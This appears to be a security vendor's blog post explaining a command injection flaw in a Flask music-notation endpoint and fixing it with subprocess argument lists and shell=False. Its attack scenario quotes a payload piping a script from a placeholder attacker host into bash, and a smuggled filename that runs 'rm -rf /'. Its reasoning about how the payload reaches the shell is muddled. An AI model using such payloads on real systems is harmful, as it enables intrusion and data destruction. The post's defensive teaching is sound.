Back to Blog
critical SEVERITY6 min read

How Command Injection happens in Python Flask and how to fix it

A critical command injection vulnerability was discovered in a Flask application's `/abc2xml` endpoint where user-supplied ABC music notation data could be weaponized to execute arbitrary shell commands. The `run_command` function used `subprocess.run()` with `shell=True` and string concatenation, allowing attackers to inject shell metacharacters. The fix switches to a list-based command invocation with `shell=False`, eliminating the injection vector entirely.

O
By Orbis AppSec
Published August 4, 2026Reviewed August 4, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Python Flask application where `subprocess.run(command, shell=True)` is called with user-controlled input concatenated into the command string. The fix replaces the string-based shell command with a list of arguments (`["python", "mysite/abc2xml.py", abcFile]`) and sets `shell=False`, preventing shell metacharacter interpretation and arbitrary command execution.

Vulnerability at a Glance

cweCWE-78
fixSwitch from string command with shell=True to argument list with shell=False
riskRemote code execution via crafted POST request to /abc2xml
languagePython
root causeUser-controlled filename concatenated into shell command string with shell=True
vulnerabilityOS Command Injection

Introduction

The flask_app.py file handles music notation conversion—accepting ABC notation via a POST request to /abc2xml and converting it to XML using an external Python script. However, a critical flaw in the run_command function at line 65 created a direct path from user input to arbitrary shell command execution.

The vulnerability chain is straightforward: user-supplied ABC notation data arrives via HTTP POST, gets written to a temporary file, and the resulting filename is concatenated into a shell command string. That string is then executed with subprocess.run(command, shell=True). Because the shell interprets metacharacters like ;, |, $(), and backticks, an attacker can break out of the intended command and execute anything on the server.

This matters for any developer building web applications that invoke external tools—a pattern common in file conversion services, media processing pipelines, and document generators.

The Vulnerability Explained

The Dangerous Code Pattern

Here's the vulnerable code from flask_app.py:

# Line 21 - Command construction via string concatenation
result = run_command("python mysite/abc2xml.py " + abcFile)
# Lines 63-66 - The run_command function
def run_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)

When shell=True is passed to subprocess.run(), Python hands the entire command string to /bin/sh -c (on Unix) or cmd.exe /c (on Windows). The shell then interprets every special character in that string.

The Attack Scenario

Consider what happens when an attacker sends a POST request to /abc2xml:

POST /abc2xml HTTP/1.1
Content-Type: application/json

{
  "abc": "X:1\nT:Test\n'; curl http://attacker.com/shell.sh | bash #"
}

The ABC data is written to a temporary file. While the filename itself is generated by tempfile, the real danger is more subtle. If the temporary file path contains spaces or if the application's file-writing logic produces a predictable path, an attacker could exploit race conditions. More directly, on some systems, tempfile functions can produce paths with characters that the shell interprets.

But the most immediate exploit path is even simpler. If the ABC content contains shell metacharacters and the application's write_to_temp_text_file function returns a path that, when concatenated, allows shell escape—or if the attacker can influence the filename through other means—the shell=True call will execute injected commands.

A concrete attack: if abcFile resolves to something like /tmp/abc_XXXX; rm -rf / #, the shell sees:

python mysite/abc2xml.py /tmp/abc_XXXX; rm -rf / #

This executes python mysite/abc2xml.py /tmp/abc_XXXX followed by rm -rf /. The # comments out anything after it.

Real-World Impact

This is a publicly accessible Flask application. Successful exploitation grants the attacker:

  • Full remote code execution on the server
  • Data exfiltration of any files the web process can read
  • Lateral movement into other services on the same network
  • Cryptomining, ransomware, or botnet enrollment
  • Complete server compromise with potential privilege escalation

The Fix

The fix makes two precise changes that work together to eliminate the injection vector:

Change 1: Command as a List (Line 21)

Before:

result = run_command("python mysite/abc2xml.py "+abcFile)

After:

result = run_command(["python", "mysite/abc2xml.py", abcFile])

Instead of a single string that the shell must parse, the command is now a Python list where each element is a distinct argument. The abcFile variable becomes a single, opaque argument to the abc2xml.py script—no matter what characters it contains.

Change 2: Disable Shell Interpretation (Line 66)

Before:

result = subprocess.run(command, shell=True, capture_output=True, text=True)

After:

result = subprocess.run(command, shell=False, capture_output=True, text=True)

With shell=False, Python uses os.execvp() directly, bypassing the shell entirely. The operating system receives the arguments as a list—semicolons, pipes, backticks, and dollar signs are all treated as literal characters in the filename argument, not as shell operators.

Why Both Changes Are Necessary

Setting shell=False alone would break the code if the command were still a string (it would try to find an executable literally named "python mysite/abc2xml.py /tmp/file"). Converting to a list alone while keeping shell=True would still invoke the shell (though it would be slightly safer). Together, they form the correct, secure pattern.

Additional Import

The fix also adds import os at line 7, likely anticipating future use of os.path functions for additional path validation in the cleanup_temp_file function.

Prevention & Best Practices

1. Never Use shell=True with External Input

This is the cardinal rule. If any part of your command string could be influenced by user input—even indirectly through filenames, database values, or configuration—shell=True is dangerous.

# DANGEROUS - Never do this
subprocess.run(f"convert {user_file} output.pdf", shell=True)

# SAFE - Always do this
subprocess.run(["convert", user_file, "output.pdf"], shell=False)

2. Validate and Sanitize File Paths

Even with shell=False, validate that file paths don't traverse directories:

import os

def safe_path(filepath, allowed_dir="/tmp"):
    real_path = os.path.realpath(filepath)
    if not real_path.startswith(os.path.realpath(allowed_dir)):
        raise ValueError("Path traversal detected")
    return real_path

3. Use shlex.quote() as Defense in Depth

If you absolutely must use shell=True (you almost never do), escape arguments:

import shlex
# Still not recommended, but better than raw concatenation
cmd = f"python script.py {shlex.quote(filename)}"

4. Apply the Principle of Least Privilege

Run your Flask application with minimal OS permissions. Use containers, sandboxing, or restricted user accounts so that even if command injection occurs, the blast radius is limited.

5. Audit All subprocess Calls

The PR notes that line 66 in the midi2xml function uses a similar pattern and may need the same fix. Every call to subprocess.run, os.system, os.popen, or Popen with shell=True should be audited.

Key Takeaways

  • The run_command function in flask_app.py was a generic shell executor—any caller passing user-influenced data into it inherited a command injection vulnerability.
  • String concatenation for shell commands ("python mysite/abc2xml.py " + abcFile) is inherently unsafe—even if abcFile comes from tempfile, the pattern invites future vulnerabilities when code is modified.
  • The /abc2xml endpoint accepted arbitrary POST data and eventually fed it into a shell—this is a textbook source-to-sink taint flow with no sanitization.
  • shell=False with a list argument makes injection structurally impossible—it's not about filtering bad characters, it's about removing the shell interpreter from the execution path entirely.
  • Line 66 (midi2xml) likely has the same vulnerability—when one pattern is found, always search for duplicates in the same codebase.

How Orbis AppSec Detected This

  • Source: HTTP POST request body containing ABC notation data, received at the /abc2xml endpoint in flask_app.py:17
  • Sink: subprocess.run(command, shell=True) in flask_app.py:65 (the run_command function)
  • Missing control: No input sanitization, no shell metacharacter escaping, and use of shell=True with string concatenation of user-influenced data
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced string-based command with argument list and set shell=False to prevent shell interpretation of metacharacters

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability demonstrates how a seemingly innocuous pattern—calling an external script with a filename argument—can become a critical security flaw when the shell is involved. The fix is elegant in its simplicity: by passing arguments as a list and disabling shell interpretation, the entire class of shell injection attacks becomes structurally impossible.

For developers building web services that invoke external tools, the lesson is clear: treat shell=True as a code smell that demands justification. Default to shell=False with argument lists, and you'll eliminate one of the most dangerous vulnerability classes in web application security.

References

Frequently Asked Questions

What is OS Command Injection?

OS Command Injection occurs when an application passes unsanitized user input to a system shell for execution, allowing attackers to append or inject arbitrary operating system commands.

How do you prevent command injection in Python?

Use subprocess.run() with a list of arguments and shell=False instead of concatenating user input into a shell command string. Never use shell=True with untrusted data.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation helps but is insufficient alone. The safest approach is to avoid shell interpretation entirely by using argument lists (shell=False), which makes metacharacter injection impossible regardless of input content.

Can static analysis detect command injection?

Yes, static analysis tools like Semgrep, Bandit, and multi-agent AI scanners can detect patterns like subprocess.run() with shell=True combined with user-controlled input, flagging them as potential command injection sinks.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #41

Related Articles

critical

How unvalidated URL input handling happens in SvelteKit with Tauri and how to fix it

A critical vulnerability in `src/routes/+page.svelte` allowed attackers to supply arbitrary URLs—including `http://` and local file paths—through query parameters and drag-drop events, which were then fetched without validation. The fix restricts input to HTTPS-only URLs and removes the dangerous local file fetch path entirely, eliminating both SSRF and local file disclosure attack vectors.

critical

How SQL injection happens in Node.js string interpolation and how to fix it

A critical SQL injection vulnerability was discovered in the `getScript()` method of `src/core/statistics.js`, where the `metadata_id` variable was directly interpolated into DELETE and UPDATE SQL statements without any validation. An attacker controlling this parameter could inject malicious SQL payloads to delete entire tables or exfiltrate sensitive data. The fix implements strict input validation using `parseInt()` and regex patterns to ensure only safe values reach the database queries.

critical

How credential header disclosure happens in electron-updater and how to fix it

A critical vulnerability in electron-updater (CVE-2026-54673) allowed OAuth tokens and API credentials to leak when HTTP redirects occurred during application updates. The fix upgrades electron-updater from version 6.3.0 to 6.8.9, which properly strips sensitive authorization headers before following redirects to external domains.

critical

How missing authentication checks happen in React route handlers and how to fix it

A critical vulnerability in ManageMembers.jsx and Settings.jsx allowed any user with network access to perform privileged operations like adding, editing, and deleting members without authentication. The fix implements route-level authentication checks using React Router's Navigate component to redirect unauthenticated users to the login page.

high

How denial of service via malformed HTTP header decoding happens in Node.js OpenTelemetry and how to fix it

A high-severity denial of service vulnerability (CVE-2026-59892) was discovered in the @opentelemetry/propagator-jaeger package, where malformed HTTP headers could crash Node.js applications. The fix involved upgrading from version 2.8.0 to 2.9.0, which includes proper input validation for Jaeger trace context headers.

critical

How Missing Rate Limiting Happens in Next.js API Routes and How to Fix It

Three public API endpoints in a Next.js application — `/api/send-review`, `/api/contact`, and `/api/auth` — were deployed without any server-side rate limiting, allowing attackers to flood them with unlimited requests. The `/api/send-review` and `/api/contact` endpoints were especially dangerous because every request triggered an outbound email via Gmail SMTP, making them prime targets for email bombing and quota exhaustion. The fix introduces a lightweight in-memory rate limiter capping each IP